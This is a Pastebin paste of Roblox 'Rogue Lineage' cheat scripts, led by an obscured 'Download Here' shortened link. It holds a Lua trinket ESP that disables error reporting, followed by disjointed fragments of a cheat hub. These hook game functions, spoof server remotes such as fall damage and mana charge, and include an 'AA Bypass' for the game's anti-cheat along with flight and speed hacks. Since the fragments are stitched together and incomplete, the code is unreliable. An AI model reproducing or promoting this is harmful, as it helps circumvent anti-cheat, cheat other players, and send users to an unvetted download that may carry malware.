Advertisement
Guest User

Rogue lineage scripts

a guest
Nov 11th, 2024
493
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.78 KB | None | 0 0
  1. -
  2. Download Here --> https://tinyurl.com/rhf4x3dp (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Name already in use
  10. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
  11. Rogue-Lineage-Scripts / Rogue Lineage Trinket ESP
  12. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
  13.  
  14. Open with Desktop
  15. View raw
  16. Copy raw contents Copy raw contents Copy raw contents
  17. This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
  18. --[[ KeyBinds = Turn on ESP = Y, Turn off ESP = U > ]]-- for i,v in pairs(getconnections(game:GetService("ScriptContext").Error)) do v:Disable() end if getgenv().ESPTOGGLE1 then getgenv().ESPTOGGLE1 = nil end getgenv().ESPTOGGLE1 = true local ToggleKey = Enum.KeyCode.Y local HideCommonToggleKey = Enum.KeyCode.U local Meshes = ["rbxassetid://16657069"] = "Money Bag", ["rbxassetid://60791940"] = "Scroll", ["rbxassetid://2877143560"] = "Jewel", ["rbxassetid://2637545558"] = "Ring", ["rbxassetid://439102658"] = "Phoenix Feather", ["rbxassetid://13116112"] = "Goblet", ["rbxassetid://5196577540"] = "Amulet", ["rbxassetid://5204003946"] = "Goblet", ["rbxassetid://5204453430"] = "Scroll", ["rbxassetid://5196782997"] = "Old Ring", ["rbxassetid://%2016657069%20"] = "Money Bag", ["rbxassetid://%2060791940%20"] = "Scroll", ["rbxassetid://%202877143560%20"] = "Jewel", ["rbxassetid://%202637545558%20"] = "Ring", ["rbxassetid://%20439102658%20"] = "Phoenix Feather", ["rbxassetid://%2013116112%20"] = "Goblet", ["rbxassetid://%205196577540%20"] = "Amulet", ["rbxassetid://%205204003946%20"] = "Goblet", ["rbxassetid://%205204453430%20"] = "Scroll", ["rbxassetid://%205196782997%20"] = "Old Ring", ["rbxassetid://5196776695"] = "Ring", ["rbxassetid://%205196776695%20"] = "Ring", > local RefreshRate = 14 --In miliseconds, change if your laggy local wrksp = game:GetService("Workspace"); local Camera = wrksp.CurrentCamera; local WTVP = Camera.WorldToViewportPoint; local IsDescendantOf = game.IsDescendantOf; local Vec2 = Vector2.new(0, 15); local strformat = string.format; function WTS(Position) local VP,bool = WTVP(Camera,Position) return Vector2.new(VP.x, VP.y),bool,VP.Z end function CreateESP(Character, Class) local LastRefresh = 0; if not Character then return end local PName = Character.Name; local Name = Drawing.new("Text") Name.Text = Character.Name; Name.Color = Color3.fromRGB(141, 255, 126) Name.Position = WTS(Character.Position); Name.Size = 18 Name.Outline = true Name.Center = true Name.Visible = true Name.Font = 0 local Bottom = Drawing.new("Text") Bottom.Color = Color3.fromRGB(192,192,192) Bottom.Position = WTS(Character.Position) + Vec2; Bottom.Size = 18 Bottom.Outline = true Bottom.Center = true Bottom.Visible = true Bottom.Font = 0 pcall(function() if Character.Parent:IsA("MeshPart") and Meshes[Character.Parent.MeshId] then Name.Text = tostring(Meshes[Character.Parent.MeshId]) elseif Character.Parent:IsA("Part") and Character.Parent:FindFirstChildWhichIsA("SpecialMesh") and Meshes[Character.Parent:FindFirstChildWhichIsA("SpecialMesh").MeshId] then Name.Text = tostring(Meshes[Character.Parent:FindFirstChildWhichIsA("SpecialMesh").MeshId]) elseif Character.Parent:IsA("Part") and Character.Parent:FindFirstChildWhichIsA("SpecialMesh") and Character.Parent:FindFirstChild("OrbParticle") then Name.Text = tostring(". ") else Name.Text = tostring("Opal") end end) local Con; Con = game:GetService("RunService").RenderStepped:Connect(function() --Update if on screen. if (tick() - LastRefresh) > (RefreshRate / 1000) then LastRefresh = tick(); if not IsDescendantOf(Character,workspace) and Name ~= nil and Bottom ~= nil then Con:Disconnect(); Con = nil; Name:Remove() Bottom:Remove() return end local HRPP = Character.Position; local Pos,Bool,Distance = WTS(HRPP); if Bool and getgenv().ESPTOGGLE1 then Bottom.Text = strformat('[%d]',Distance) Name.Position = Pos; Bottom.Position = Pos + Vec2; Name.Visible = true; Bottom.Visible = true; else Name.Visible = false; Bottom.Visible = false; end end end) end for i,v in pairs(wrksp:GetChildren()) do if v:IsA("MeshPart") or v:IsA("UnionOperation") or v:IsA("Part") then for i2,v2 in pairs(v:GetDescendants()) do if v2:IsA("ClickDetector") then CreateESP(v2.Parent) end end end end wrksp.ChildAdded:Connect(function(v) if v:IsA("MeshPart") or v:IsA("UnionOperation") or v:IsA("Part") then for i2,v2 in pairs(v:GetDescendants()) do if v2:IsA("ClickDetector") then CreateESP(v2.Parent) end end end end) game:GetService("UserInputService").InputBegan:Connect(function(inputObject, gameProcessed) if inputObject.KeyCode == ToggleKey then getgenv().ESPTOGGLE1 = true elseif inputObject.KeyCode == HideCommonToggleKey then getgenv().ESPTOGGLE1 = false end end)
  19. rogue lineage
  20. if not ( ( descendant . ClassName == "Accessory" and ( descendant . Name == "Charge" or descendant . Name == "Blindness" or descendant . Name == "DamageMPStack" or descendant . Name == "VisionBlur" or descendant . Name == "Sprint" or descendant . Name == "Climbing" or descendant . Name == "ClimbCooldown" ) ) or ( descendant . ClassName == "BodyVelocity" and descendant . Name == "DodgeVel" ) or ( descendant . ClassName == "BodyPosition" and descendant . Name == "BodyPosition" ) ) then
  21. old_add_item = replaceclosure ( services . Debris . AddItem , newcclosure ( function ( self , object , duration )
  22. old_add_item_2 = replaceclosure ( services . Debris . addItem , newcclosure ( function ( self , object , duration )
  23. old_clear_all_children_2 = replaceclosure ( game . clearAllChildren , newcclosure ( function ( self )
  24. if # upvalues == 1 and upvalues [ 1 ] == services . RunService and getinfo ( func , "n" ) . name == "" then
  25. if ( ( not checkcaller ( ) and method == "destroy" ) or method == "remove" ) and typeof ( self ) == "Instance" and blacklisted_character_descendants [ self ] then
  26. elseif method == "play" and typeof ( self ) == "Instance" and self . ClassName == "AnimationTrack" and ban_animation_ids [ self . Animation . AnimationId ] then
  27. local key_handler = services . ReplicatedStorage : WaitForChild ( "Assets" ) : WaitForChild ( "Modules" ) : WaitForChild ( "KeyHandler" )
  28. if self . instructions [ current_instruction - 3 ] [ psu_struct . register_c ] == "FindFirstChild" then
  29. if type ( self . instructions [ current_instruction + 2 ] [ psu_struct . register_bx ] ) == "table" and type ( self . instructions [ current_instruction + 5 ] [ psu_struct . register_bx ] ) == "table" then
  30. if self . instructions [ current_instruction + arguments [ 1 ] ] [ psu_struct . register_b ] == "EEKEWAEJIWAJDOIWAJDIOJAWDIOJAWODJOAIW" then
  31. if type ( self . instructions [ current_instruction + 4 ] [ psu_struct . register_b ] ) == "table" then
  32. local go_to_instruction = self . instructions [ current_instruction + 4 ] [ psu_struct . register_b ]
  33. if type ( self . instructions [ current_instruction + index ] [ psu_struct . register_b ] ) ~= "table" then
  34. --// assert(getscripthash(key_handler) == "28607f8aeb5399560e87712f42c5a6700c96c6c4d9f3209004c89bfa7766916410af5b0e6492eafb55c57b261693b192", "KeyHandler Script Updated!")
  35. --// assert(getscripthash(input_script) == "29e1a68e700408e58d97ab1b19afb63a8b50a0c868635d7e8abc4a81002639a3b63f4061a726c7dfc1eecf989da70931", "Input Script Updated!")
  36. if remote_result and typeof ( remote_result ) == "Instance" and remote_result : IsDescendantOf ( live_folder ) then
  37. old_fire_server = replaceclosure ( instance_new ( "RemoteEvent" ) . FireServer , newcclosure ( function ( self , data , . )
  38. elseif ( library . flags [ "No Fall Damage" ] or library . flags . Flight ) and self == global_variables . remotes . ApplyFallDamage then
  39. elseif library . flags [ "Temperature Lock" ] and self == global_variables . remotes . SetCurrentArea then
  40. local spell_tool , mana_object = character : FindFirstChildOfClass ( "Tool" ) , character : FindFirstChild ( "Mana" )
  41. if ( mana_value > spell_info [ 1 ] and mana_value
  42. elseif not checkcaller ( ) and index == "JumpPower" and library . flags [ "Jump Height" ] and player . Character then
  43. if global_variables . character_connection_function and validlevel ( 5 ) and getinfo ( 5 , "f" ) . func == global_variables . character_connection_function then
  44. if self == player and index == "CameraMaxZoomDistance" and getinfo ( 3 , "s" ) . source : find ( "Input" ) then
  45. setupvalue ( global_variables . character_connection_function , character_connection_upvalue , library . flags [ "Walk Speed Boost" ] )
  46. local humanoid , humanoid_root_part = character : FindFirstChildOfClass ( "Humanoid" ) , character : FindFirstChild ( "HumanoidRootPart" )
  47. stop_climb_connection = getconnections ( global_variables . remotes . StopClimb . OnClientEvent ) [ 1 ]
  48. stop_climb_connection = getconnections ( global_variables . remotes . StopClimb . OnClientEvent ) [ 1 ]
  49. setconstant ( getupvalue ( stop_climb_connection . Function , 1 ) , climb_speed_constant_index , climb_speed )
  50. local stop_climb_connection = getconnections ( global_variables . remotes . StopClimb . OnClientEvent ) [ 1 ]
  51. setconstant ( getupvalue ( stop_climb_connection . Function , 1 ) , climb_speed_constant_index , value / 10 )
  52. local raycast_result = workspace : Raycast ( humanoid_root_part . Position , humanoid_root_part . CFrame . LookVector * 3 , spider_params )
  53. humanoid_root_part . Velocity = vector3_new ( humanoid_root_part . Velocity . X , ( library . flags [ "Spider Climb Speed" ] + math_random ( 1 , 5 ) ) * 0.9 , humanoid_root_part . Velocity . Z )
  54. local stop_sprint = services . ReplicatedStorage : WaitForChild ( "Requests" ) : WaitForChild ( "StopSprint" )
  55. camera . CoordinateFrame = cframe_new ( camera . CoordinateFrame . Position ) * cframe_fromeulerangles ( - move_position . Y / 300 , - move_position . X / 300 , 0 ) * cframe_new ( calculate_movement ( ) * library . flags [ "Freecam Speed" ] )
  56. local humanoid , torso = character : FindFirstChildOfClass ( "Humanoid" ) , character : FindFirstChild ( "Torso" )
  57. ( services . UserInputService : IsKeyDown ( "LeftControl" ) and move_vectors . left_control or empty_vector )
  58. direction = library . flags [ "Flight Follow Mouse" ] and ( player_mouse . Hit . Position - camera . CFrame . Position ) or camera . CFrame . lookVector
  59. current_cframe = cframe_new ( current_cframe . X , math_clamp ( current_cframe . Y , - 1000 , 1e9 ) , current_cframe . Z )
  60. local order_field_cframe = workspace : WaitForChild ( "Map" ) : WaitForChild ( "OrderField" ) . CFrame
  61. global_variables . remotes . ApplyFallDamage : FireServer ( { math_random ( ) , math_random ( 15 , 25 ) / 100 } , { } )
  62. local gui_slider = player . PlayerGui : WaitForChild ( "StatGui" ) : WaitForChild ( "Container" ) : WaitForChild ( "Health" ) : WaitForChild ( "Slider" )
  63. if library . flags . Flight and library . flags [ "AA Bypass" ] and gui_slider . Size ~= full_health_size then
  64. local danger_label = player . PlayerGui : WaitForChild ( "DangerGui" ) : WaitForChild ( "TextLabel" )
  65. if library . flags . Flight and library . flags [ "AA Bypass" ] and hit_animation_ids [ animation_track . Animation . AnimationId ] then
  66. local selected_animation = ( library . flags . Animation == "Rolling" and loaded_flip ) or ( library . flags . Animation == "Climbing" and loaded_climb )
  67. local_movement : Picker ( { Name = "AA Bypass Mode" , List = { "Default" , "Secondary" } , Default = "Default" } )
  68. local_movement : Picker ( { Name = "Animation" , List = { "Rolling" , "Climbing" } , Default = "AcroFlip" , Callback = function ( state )
  69. local raycast_result = workspace : Raycast ( humanoid_root_part . Position , down_vector , ground_params )
  70. local general_prevention , general_misc , general_legit , general_status = sections . prevention_settings , sections . misc_random , sections . misc_legit , sections . misc_status
  71. has_tag_hook = replaceclosure ( services . CollectionService . HasTag , function ( self , instance , tag )
  72. if library . flags [ "Anti Injuries" ] and ( tag == "BrokenArm" or tag == "BrokenLeg" or tag == "Burned" ) then
  73. if ( boost . Name == "DamageMPStack" or boost . Name == "SpeedBoost" or boost . Name == "Blindness" or boost . Name == "VisionBlur" ) then
  74. local raycast_result = workspace : Raycast ( humanoid_root_part . Position , humanoid . MoveDirection * 9 , order_params )
  75. global_variables . remotes . SetManaChargeState : FireServer ( { math_random ( 1 , 10 ) , math_random ( ) } )
  76. global_variables . remotes . SetManaChargeState : FireServer ( { math_random ( 1 , 10 ) , math_random ( ) } )
  77. local main_frame = player . PlayerGui : WaitForChild ( "LeaderboardGui" ) : WaitForChild ( "MainFrame" )
  78. local get_mouse_remote = services . ReplicatedStorage : WaitForChild ( "Requests" ) : WaitForChild ( "GetMouse" )
  79. local target_cframe = humanoid_root_part . CFrame + vector3_new ( math_random ( 1 , 10 ) / 10 , math_random ( 1 , 10 ) / 10 , math_random ( 1 , 10 ) / 10 )
  80. if library . flags [ "Mana Sprint Day 0" ] and not mana_abilities : FindFirstChild ( "ManaSprint" ) then
  81. local value_label = general_status : Label ( { Name = "Inventory Value: " .. get_inventory_value ( ) } )
  82. local castle_rock_snake = monster_triggers : WaitForChild ( "CastleRockSnake" ) : WaitForChild ( "LastSpawned" )
  83. local sunken_evil_eye = monster_triggers : WaitForChild ( "evileye1" ) : WaitForChild ( "LastSpawned" )
  84. return tostring ( math_floor ( castle_delta / 60 ) ) .. "m" , tostring ( math_floor ( sunken_delta / 60 ) ) .. "m"
  85. local castle_rock_label = general_status : Label ( { Name = "Castle Rock Last Looted: " .. castle_delta } )
  86. local left_click , left_click_release = remotes : FindFirstChild ( "LeftClick" ) , remotes : FindFirstChild ( "LeftClickRelease" )
  87. local current_health , max_health = tostring ( math_floor ( humanoid . Health ) ) , tostring ( math_floor ( humanoid . MaxHealth ) )
  88. local char_shadow = player . PlayerGui : WaitForChild ( "StatGui" ) : WaitForChild ( "Container" ) : WaitForChild ( "CharacterName" ) : WaitForChild ( "Shadow" )
  89. normal_overlay . Size = udim2_new ( 1 , 0 , math_abs ( normal_cast_info [ 1 ] - normal_cast_info [ 2 ] ) / 100 , 0 )
  90. snap_overlay . Size = udim2_new ( 1 , 0 , math_abs ( snap_cast_info [ 1 ] - snap_cast_info [ 2 ] ) / 100 , 0 )
  91. current_health , max_health = tostring ( math_floor ( humanoid . Health ) ) , tostring ( math_floor ( humanoid . MaxHealth ) )
  92. fifty_label . Visible = ( false and ( not library . flags [ "List Mana Increments" ] or not state ) ) or true
  93. local char_shadow = player . PlayerGui : WaitForChild ( "StatGui" ) : WaitForChild ( "Container" ) : WaitForChild ( "CharacterName" ) : WaitForChild ( "Shadow" )
  94. box_main = make_drawing ( "Square" , { Color = color3_fromrgb ( 255 , 255 , 255 ) , Thickness = 1.5 , ZIndex = 1 } ) ,
  95. box_outline = make_drawing ( "Square" , { Color = color3_fromrgb ( 0 , 0 , 0 ) , Thickness = 1.5 } ) ,
  96. health_main = make_drawing ( "Square" , { Color = color3_fromrgb ( 0 , 0 , 0 ) , Thickness = 1.5 , ZIndex = 1 , Filled = true } ) ,
  97. health_outline = make_drawing ( "Square" , { Color = color3_fromrgb ( 0 , 0 , 0 ) , Filled = true } ) ,
  98. tracer_main = make_drawing ( "Line" , { Color = color3_fromrgb ( 255 , 255 , 255 ) , ZIndex = 1 , Transparency = 0.5 } ) ,
  99. tracer_outline = make_drawing ( "Line" , { Color = color3_fromrgb ( 0 , 0 , 0 ) , Transparency = 0.5 } ) ,
  100. text_main = make_drawing ( "Text" , { Color = color3_fromrgb ( 255 , 255 , 255 ) , Center = true , Outline = true , ZIndex = 1 , Size = 16 } ) ,
  101. text_extra = make_drawing ( "Text" , { Color = color3_fromrgb ( 255 , 255 , 255 ) , Center = true , Outline = true , ZIndex = 1 , Size = 16 } ) ,
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement